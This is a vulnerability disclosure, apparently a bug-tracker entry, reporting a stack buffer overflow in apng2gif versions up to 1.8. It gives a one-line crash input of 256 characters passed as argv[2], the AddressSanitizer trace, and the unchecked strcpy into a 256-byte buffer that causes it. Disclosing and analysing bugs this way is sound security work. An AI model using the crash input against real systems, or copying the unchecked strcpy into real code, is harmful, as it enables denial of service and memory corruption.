Package: apng2gif
Version: <=1.8
When apng2gif runs with a very long parameter(>256) in argv[2]
For example:
in command line:
$ apng2gif a.png `python -c 'print "a"*0x100'`
apng2gif 1.7
*** buffer overflow detected ***: apng2gif terminated
已放弃 (核心已转储)
There is a stack-buffer-overflow in main function(in apng2gif.cpp)
In fact,this vulnerability affects all versions less than 1.8
Download the sourcecode:https://sourceforge.net/projects/apng2gif/files/1.8/
then:
$ make CC="clang -fsanitize=address"
$ ./apng2gif a.png `python -c 'print "a"*0x100'`
Output:
apng2gif 1.8
=================================================================
==37921==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffeb22ff840 at pc 0x00000046282c bp 0x7ffeb22ff710 sp 0x7ffeb22feec0
WRITE of size 257 at 0x7ffeb22ff840 thread T0
#0 0x46282b (/home/kirin/apng/apng2gif+0x46282b)
#1 0x51a821 (/home/kirin/apng/apng2gif+0x51a821)
#2 0x7f710b37bb96 (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#3 0x41cb39 (/home/kirin/apng/apng2gif+0x41cb39)
Address 0x7ffeb22ff840 is located in stack of thread T0 at offset 288 in frame
#0 0x51a5cf (/home/kirin/apng/apng2gif+0x51a5cf)
This frame has 3 object(s):
[32, 288) 'szOut'
[352, 356) 'num_loops' <== Memory access at offset 288 partially underflows this variable
[368, 392) 'img' <== Memory access at offset 288 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/kirin/apng/apng2gif+0x46282b)
Shadow bytes around the buggy address:
0x100056457eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100056457ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100056457ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100056457ee0: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00
0x100056457ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100056457f00: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2
0x100056457f10: 04 f2 00 00 00 f3 f3 f3 f3 f3 f3 f3 00 00 00 00
0x100056457f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100056457f30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100056457f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100056457f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==37921==ABORTING
Analyze:
you can see there is a bug when the main function calls strcpy:
......
if (back_b < 0) back_b = 0;
if (back_b > 255) back_b = 255;
bcolor = (back_r<<16) + (back_g<<8) + back_b;
}
}
}
}
else
if (szOut[0] == 0)
strcpy(szOut, szOpt);
}
......
In fact, in the above example:szOpt=&argv[2],and szOut is defined in stack with size 256
so when argv[2] is too lang,it will lead to a stack-buffer-overflow in main function.